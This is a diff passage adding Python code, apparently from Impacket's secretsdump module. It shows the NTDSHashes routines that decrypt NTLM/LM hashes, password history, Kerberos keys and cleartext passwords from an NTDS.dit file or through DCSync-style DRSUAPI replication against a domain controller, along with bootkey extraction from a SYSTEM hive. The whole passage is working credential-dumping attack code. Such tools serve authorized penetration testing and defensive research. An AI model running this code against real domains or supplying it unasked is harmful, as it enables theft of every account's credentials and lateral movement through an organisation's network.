+            dt = datetime.fromtimestamp(t)
+            return dt.strftime("%Y-%m-%d %H:%M")
+
+    def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
+        # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
+        haveInfo = False
+        LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
+        if self.__useVSSMethod is True:
+            if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
+                if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
+                    if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
+                        domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
+                        userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
+                    else:
+                        userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
+                    cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
+
+                    if cipherText['Header'][:4] == b'\x13\x00\x00\x00':
+                        # Win2016 TP4 decryption is different
+                        pekIndex = hexlify(cipherText['Header'])
+                        plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
+                                                                   cipherText['EncryptedHash'][4:],
+                                                                   cipherText['KeyMaterial'])
+                        haveInfo = True
+                    else:
+                        plainText = self.__removeRC4Layer(cipherText)
+                        haveInfo = True
+        else:
+            domain = None
+            userName = None
+            replyVersion = 'V%d' % record['pdwOutVersion']
+            for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
+                try:
+                    attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
+                    LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
+                except Exception as e:
+                    LOG.debug('Failed to execute OidFromAttid with error %s' % e)
+                    LOG.debug('Exception', exc_info=True)
+                    # Fallbacking to fixed table and hope for the best
+                    attId = attr['attrTyp']
+                    LOOKUP_TABLE = self.NAME_TO_ATTRTYP
+
+                if attId == LOOKUP_TABLE['userPrincipalName']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        try:
+                            domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
+                        except:
+                            domain = None
+                    else:
+                        domain = None
+                elif attId == LOOKUP_TABLE['sAMAccountName']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        try:
+                            userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
+                        except:
+                            LOG.error(
+                                'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+                            userName = 'unknown'
+                    else:
+                        LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+                        userName = 'unknown'
+                if attId == LOOKUP_TABLE['supplementalCredentials']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                        plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
+                        if len(plainText) > 24:
+                            haveInfo = True
+            if domain is not None:
+                userName = '%s\\%s' % (domain, userName)
+
+        if haveInfo is True:
+            try:
+                userProperties = samr.USER_PROPERTIES(plainText)
+            except:
+                # On some old w2k3 there might be user properties that don't
+                # match [MS-SAMR] structure, discarding them
+                return
+            propertiesData = userProperties['UserProperties']
+            for propertyCount in range(userProperties['PropertyCount']):
+                userProperty = samr.USER_PROPERTY(propertiesData)
+                propertiesData = propertiesData[len(userProperty):]
+                # For now, we will only process Newer Kerberos Keys and CLEARTEXT
+                if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
+                    propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
+                    kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
+                    data = kerbStoredCredentialNew['Buffer']
+                    for credential in range(kerbStoredCredentialNew['CredentialCount']):
+                        keyDataNew = samr.KERB_KEY_DATA_NEW(data)
+                        data = data[len(keyDataNew):]
+                        keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
+
+                        if  keyDataNew['KeyType'] in self.KERBEROS_TYPE:
+                            answer =  "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))
+                        else:
+                            answer =  "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))
+                        # We're just storing the keys, not printing them, to make the output more readable
+                        # This is kind of ugly... but it's what I came up with tonight to get an ordered
+                        # set :P. Better ideas welcomed ;)
+                        self.__kerberosKeys[answer] = None
+                        if keysFile is not None:
+                            self.__writeOutput(keysFile, answer + '\n')
+                elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
+                    # [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
+                    # This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
+                    try:
+                        answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
+                    except UnicodeDecodeError:
+                        # This could be because we're decoding a machine password. Printing it hex
+                        answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))
+
+                    self.__clearTextPwds[answer] = None
+                    if clearTextFile is not None:
+                        self.__writeOutput(clearTextFile, answer + '\n')
+
+            if clearTextFile is not None:
+                clearTextFile.flush()
+            if keysFile is not None:
+                keysFile.flush()
+
+        LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
+
+    def __decryptHash(self, record, prefixTable=None, outputFile=None):
+        LOG.debug('Entering NTDSHashes.__decryptHash')
+        if self.__useVSSMethod is True:
+            LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
+
+            sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
+            rid = sid.formatCanonical().split('-')[-1]
+
+            if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
+                encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
+                if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':
+                    # Win2016 TP4 decryption is different
+                    encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
+                    pekIndex = hexlify(encryptedLMHash['Header'])
+                    tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
+                                                               encryptedLMHash['EncryptedHash'][:16],
+                                                               encryptedLMHash['KeyMaterial'])
+                else:
+                    tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
+                LMHash = self.__removeDESLayer(tmpLMHash, rid)
+            else:
+                LMHash = ntlm.LMOWFv1('', '')
+
+            if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
+                encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
+                if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00':
+                    # Win2016 TP4 decryption is different
+                    encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
+                    pekIndex = hexlify(encryptedNTHash['Header'])
+                    tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
+                                                               encryptedNTHash['EncryptedHash'][:16],
+                                                               encryptedNTHash['KeyMaterial'])
+                else:
+                    tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
+                NTHash = self.__removeDESLayer(tmpNTHash, rid)
+            else:
+                NTHash = ntlm.NTOWFv1('', '')
+
+            if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
+                domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
+                userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
+            else:
+                userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
+
+            if self.__printUserStatus is True:
+                # Enabled / disabled users
+                if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
+                    if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
+                        userAccountStatus = 'Disabled'
+                    elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
+                        userAccountStatus = 'Enabled'
+                else:
+                    userAccountStatus = 'N/A'
+
+            if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
+                pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
+            else:
+                pwdLastSet = 'N/A'
+
+            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
+            if self.__pwdLastSet is True:
+                answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
+            if self.__printUserStatus is True:
+                answer = "%s (status=%s)" % (answer, userAccountStatus)
+
+            self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
+
+            if outputFile is not None:
+                self.__writeOutput(outputFile, answer + '\n')
+
+            if self.__history:
+                LMHistory = []
+                NTHistory = []
+                if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
+                    encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
+                    tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
+                    for i in range(0, len(tmpLMHistory) // 16):
+                        LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
+                        LMHistory.append(LMHash)
+
+                if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
+                    encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
+
+                    if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00':
+                        # Win2016 TP4 decryption is different
+                        encryptedNTHistory = self.CRYPTED_HASHW16(
+                            unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
+                        pekIndex = hexlify(encryptedNTHistory['Header'])
+                        tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
+                                                                      encryptedNTHistory['EncryptedHash'],
+                                                                      encryptedNTHistory['KeyMaterial'])
+                    else:
+                        tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
+
+                    for i in range(0, len(tmpNTHistory) // 16):
+                        NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
+                        NTHistory.append(NTHash)
+
+                for i, (LMHash, NTHash) in enumerate(
+                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
+                    if self.__noLMHash:
+                        lmhash = hexlify(ntlm.LMOWFv1('', ''))
+                    else:
+                        lmhash = hexlify(LMHash)
+
+                    answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
+                                                           hexlify(NTHash).decode('utf-8'))
+                    if outputFile is not None:
+                        self.__writeOutput(outputFile, answer + '\n')
+                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
+        else:
+            replyVersion = 'V%d' %record['pdwOutVersion']
+            LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+            domain = None
+            if self.__history:
+                LMHistory = []
+                NTHistory = []
+
+            rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]
+
+            for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
+                try:
+                    attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
+                    LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
+                except Exception as e:
+                    LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
+                    LOG.debug('Exception', exc_info=True)
+                    # Fallbacking to fixed table and hope for the best
+                    attId = attr['attrTyp']
+                    LOOKUP_TABLE = self.NAME_TO_ATTRTYP
+
+                if attId == LOOKUP_TABLE['dBCSPwd']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                        encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
+                        LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
+                    else:
+                        LMHash = ntlm.LMOWFv1('', '')
+                elif attId == LOOKUP_TABLE['unicodePwd']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                        encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
+                        NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
+                    else:
+                        NTHash = ntlm.NTOWFv1('', '')
+                elif attId == LOOKUP_TABLE['userPrincipalName']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        try:
+                            domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
+                        except:
+                            domain = None
+                    else:
+                        domain = None
+                elif attId == LOOKUP_TABLE['sAMAccountName']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        try:
+                            userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
+                        except:
+                            LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+                            userName = 'unknown'
+                    else:
+                        LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+                        userName = 'unknown'
+                elif attId == LOOKUP_TABLE['objectSid']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                    else:
+                        LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+                        objectSid = rid
+                elif attId == LOOKUP_TABLE['pwdLastSet']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        try:
+                            pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
+                        except:
+                            LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+                            pwdLastSet = 'N/A'
+                elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:
+                    if attr['AttrVal']['valCount'] > 0:
+                        if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:
+                            userAccountStatus = 'Disabled'
+                        else:
+                            userAccountStatus = 'Enabled'
+                    else:
+                        userAccountStatus = 'N/A'
+
+                if self.__history:
+                    if attId == LOOKUP_TABLE['lmPwdHistory']:
+                        if attr['AttrVal']['valCount'] > 0:
+                            encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                            tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
+                            for i in range(0, len(tmpLMHistory) // 16):
+                                LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
+                                LMHistory.append(LMHashHistory)
+                        else:
+                            LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+                    elif attId == LOOKUP_TABLE['ntPwdHistory']:
+                        if attr['AttrVal']['valCount'] > 0:
+                            encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
+                            tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
+                            for i in range(0, len(tmpNTHistory) // 16):
+                                NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
+                                NTHistory.append(NTHashHistory)
+                        else:
+                            LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
+
+            if domain is not None:
+                userName = '%s\\%s' % (domain, userName)
+
+            answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
+            if self.__pwdLastSet is True:
+                answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
+            if self.__printUserStatus is True:
+                answer = "%s (status=%s)" % (answer, userAccountStatus)
+            self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
+
+            if outputFile is not None:
+                self.__writeOutput(outputFile, answer + '\n')
+
+            if self.__history:
+                for i, (LMHashHistory, NTHashHistory) in enumerate(
+                        map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
+                    if self.__noLMHash:
+                        lmhash = hexlify(ntlm.LMOWFv1('', ''))
+                    else:
+                        lmhash = hexlify(LMHashHistory)
+
+                    answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
+                                                           hexlify(NTHashHistory).decode('utf-8'))
+                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
+                    if outputFile is not None:
+                        self.__writeOutput(outputFile, answer + '\n')
+
+        if outputFile is not None:
+            outputFile.flush()
+
+        LOG.debug('Leaving NTDSHashes.__decryptHash')
+
+    def dump(self):
+        hashesOutputFile = None
+        keysOutputFile = None
+        clearTextOutputFile = None
+
+        if self.__useVSSMethod is True:
+            if self.__NTDS is None:
+                # No NTDS.dit file provided and were asked to use VSS
+                return
+        else:
+            if self.__NTDS is None:
+                # DRSUAPI method, checking whether target is a DC
+                try:
+                    if self.__remoteOps is not None:
+                        try:
+                            self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
+                        except:
+                            if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:
+                                # RemoteOperations failed. That might be because there was no way to log into the
+                                # target system. We just have a last resort. Hope we have tickets cached and that they
+                                # will work
+                                pass
+                            else:
+                                raise
+                    else:
+                        raise Exception('No remote Operations available')
+                except Exception as e:
+                    LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
+                    # Target's not a DC
+                    return
+
+        try:
+            # Let's check if we need to save results in a file
+            if self.__outputFileName is not None:
+                LOG.debug('Saving output to %s' % self.__outputFileName)
+                # We have to export. Are we resuming a session?
+                if self.__resumeSession.hasResumeData():
+                    mode = 'a+'
+                else:
+                    mode = 'w+'
+                hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)
+                if self.__justNTLM is False:
+                    keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)
+                    clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)
+
+            LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
+            if self.__useVSSMethod:
+                # We start getting rows from the table aiming at reaching
+                # the pekList. If we find users records we stored them
+                # in a temp list for later process.
+                self.__getPek()
+                if self.__PEK is not None:
+                    LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
+                    # First of all, if we have users already cached, let's decrypt their hashes
+                    for record in self.__tmpUsers:
+                        try:
+                            self.__decryptHash(record, outputFile=hashesOutputFile)
+                            if self.__justNTLM is False:
+                                self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
+                        except Exception as e:
+                            LOG.debug('Exception', exc_info=True)
+                            try:
+                                LOG.error(
+                                    "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
+                                LOG.error(str(e))
+                                pass
+                            except:
+                                LOG.error("Error while processing row!")
+                                LOG.error(str(e))
+                                pass
+
+                    # Now let's keep moving through the NTDS file and decrypting what we find
+                    while True:
+                        try:
+                            record = self.__ESEDB.getNextRow(self.__cursor, filter_tables=self.__filter_tables_usersecret)
+                        except:
+                            LOG.error('Error while calling getNextRow(), trying the next one')
+                            continue
+
+                        if record is None:
+                            break
+                        try:
+                            if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
+                                self.__decryptHash(record, outputFile=hashesOutputFile)
+                                if self.__justNTLM is False:
+                                    self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
+                        except Exception as e:
+                            LOG.debug('Exception', exc_info=True)
+                            try:
+                                LOG.error(
+                                    "Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
+                                LOG.error(str(e))
+                                pass
+                            except:
+                                LOG.error("Error while processing row!")
+                                LOG.error(str(e))
+                                pass
+            else:
+                LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
+                status = STATUS_MORE_ENTRIES
+                enumerationContext = 0
+
+                # Do we have to resume from a previously saved session?
+                if self.__resumeSession.hasResumeData():
+                    resumeSid = self.__resumeSession.getResumeData()
+                    LOG.info('Resuming from SID %s, be patient' % resumeSid)
+                else:
+                    resumeSid = None
+                    # We do not create a resume file when asking for a single user
+                    if self.__justUser is None:
+                        self.__resumeSession.beginTransaction()
+
+                if self.__justUser is not None:
+                    # Depending on the input received, we need to change the formatOffered before calling
+                    # DRSCrackNames.
+                    # There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE
+                    # That's because we don't specify the domain for the user (and there might be duplicates)
+                    # Always remember that if you specify a domain, you should specify the NetBIOS domain name,
+                    # not the FQDN. Just for this time. It's confusing I know, but that's how this API works.
+                    if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0:
+                        self.__justUser = self.__justUser.replace('/','\\')
+                        formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
+                    else:
+                        formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
+
+                    crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
+                                                                 drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
+                                                                 name=self.__justUser)
+
+                    if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
+                        if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
+                            raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
+                                0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
+
+                        userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
+                        #userRecord.dump()
+                        replyVersion = 'V%d' % userRecord['pdwOutVersion']
+                        if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
+                            raise Exception('DRSGetNCChanges didn\'t return any object!')
+                    else:
+                        LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
+                        crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
+                    try:
+                        self.__decryptHash(userRecord,
+                                           userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
+                                           hashesOutputFile)
+                        if self.__justNTLM is False:
+                            self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
+                                'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
+
+                    except Exception as e:
+                        LOG.error("Error while processing user!")
+                        LOG.debug("Exception", exc_info=True)
+                        LOG.error(str(e))
+                else:
+                    while status == STATUS_MORE_ENTRIES:
+                        resp = self.__remoteOps.getDomainUsers(enumerationContext)
+
+                        for user in resp['Buffer']['Buffer']:
+                            userName = user['Name']
+
+                            userSid = "%s-%i" % (self.__remoteOps.getDomainSid(), user['RelativeId'])
+                            if resumeSid is not None:
+                                # Means we're looking for a SID before start processing back again
+                                if resumeSid == userSid:
+                                    # Match!, next round we will back processing
+                                    LOG.debug('resumeSid %s reached! processing users from now on' % userSid)
+                                    resumeSid = None
+                                else:
+                                    LOG.debug('Skipping SID %s since it was processed already' % userSid)
+                                continue
+
+                            # Let's crack the user sid into DS_FQDN_1779_NAME
+                            # In theory I shouldn't need to crack the sid. Instead
+                            # I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
+                            # For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
+                            crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
+                                                                         drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
+                                                                         name=userSid)
+
+                            if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
+                                if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
+                                    LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
+                                        0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
+                                    break
+                                userRecord = self.__remoteOps.DRSGetNCChanges(
+                                    crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
+                                # userRecord.dump()
+                                replyVersion = 'V%d' % userRecord['pdwOutVersion']
+                                if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
+                                    raise Exception('DRSGetNCChanges didn\'t return any object!')
+                            else:
+                                LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
+                                crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
+                            try:
+                                self.__decryptHash(userRecord,
+                                                   userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
+                                                   hashesOutputFile)
+                                if self.__justNTLM is False:
+                                    self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
+                                        'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
+
+                            except Exception as e:
+                                LOG.error("Error while processing user!")
+                                LOG.debug("Exception", exc_info=True)
+                                LOG.error(str(e))
+
+                            # Saving the session state
+                            self.__resumeSession.writeResumeData(userSid)
+
+                        enumerationContext = resp['EnumerationContext']
+                        status = resp['ErrorCode']
+
+                # Everything went well and we covered all the users
+                # Let's remove the resume file is we had created it
+                if self.__justUser is None:
+                    self.__resumeSession.clearResumeData()
+
+            LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
+            # Now we'll print the Kerberos keys. So we don't mix things up in the output.
+            if len(self.__kerberosKeys) > 0:
+                if self.__useVSSMethod is True:
+                    LOG.info('Kerberos keys from %s ' % self.__NTDS)
+                else:
+                    LOG.info('Kerberos keys grabbed')
+
+                for itemKey in list(self.__kerberosKeys.keys()):
+                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)
+
+            # And finally the cleartext pwds
+            if len(self.__clearTextPwds) > 0:
+                if self.__useVSSMethod is True:
+                    LOG.info('ClearText password from %s ' % self.__NTDS)
+                else:
+                    LOG.info('ClearText passwords grabbed')
+
+                for itemKey in list(self.__clearTextPwds.keys()):
+                    self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
+        finally:
+            # Resources cleanup
+            if hashesOutputFile is not None:
+                hashesOutputFile.close()
+
+            if keysOutputFile is not None:
+                keysOutputFile.close()
+
+            if clearTextOutputFile is not None:
+                clearTextOutputFile.close()
+
+            self.__resumeSession.endTransaction()
+
+    @classmethod
+    def __writeOutput(cls, fd, data):
+        try:
+            fd.write(data)
+        except Exception as e:
+            LOG.error("Error writing entry, skipping (%s)" % str(e))
+            pass
+
+    def finish(self):
+        if self.__NTDS is not None:
+            self.__ESEDB.close()
+
+class LocalOperations:
+    def __init__(self, systemHive):
+        self.__systemHive = systemHive
+
+    def getBootKey(self):
+        # Local Version whenever we are given the files directly
+        bootKey = b''
+        tmpKey = b''
+        winreg = winregistry.Registry(self.__systemHive, False)
+        # We gotta find out the Current Control Set
+        currentControlSet = winreg.getValue('\\Select\\Current')[1]
+        currentControlSet = "ControlSet%03d" % currentControlSet
+        for key in ['JD', 'Skew1', 'GBG', 'Data']:
+            LOG.debug('Retrieving class info for %s' % key)
+            ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
+            digit = ans[:16].decode('utf-16le')
+            tmpKey = tmpKey + b(digit)
+
+        transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
+
+        tmpKey = unhexlify(tmpKey)
+
+        for i in range(len(tmpKey)):
+            bootKey += tmpKey[transforms[i]:transforms[i] + 1]
+
+        LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))
+
+        return bootKey
+
+
+    def checkNoLMHashPolicy(self):
+        LOG.debug('Checking NoLMHash Policy')
+        winreg = winregistry.Registry(self.__systemHive, False)
+        # We gotta find out the Current Control Set
+        currentControlSet = winreg.getValue('\\Select\\Current')[1]
+        currentControlSet = "ControlSet%03d" % currentControlSet
+
+        # noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
+        noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
+        if noLmHash is not None:
+            noLmHash = noLmHash[1]
+        else:
+            noLmHash = 0
+
+        if noLmHash != 1:
+            LOG.debug('LMHashes are being stored')
+            return False
+        LOG.debug('LMHashes are NOT being stored')
+        return True
+
+
+class KeyListSecrets:
+    def __init__(self, domainName, kdc, kvno, rodcKey, remoteOps=None):
+        self.__remoteOps = remoteOps
+        self.__keyVersionNumber = kvno
+        self.__rodcKey = rodcKey
+        if self.__remoteOps is None:
+            self.__kdcHostName = kdc
+            self.__domain = domainName
+        else:
+            self.__kdcHostName = self.__remoteOps.getMachineNameAndDomain()[0]
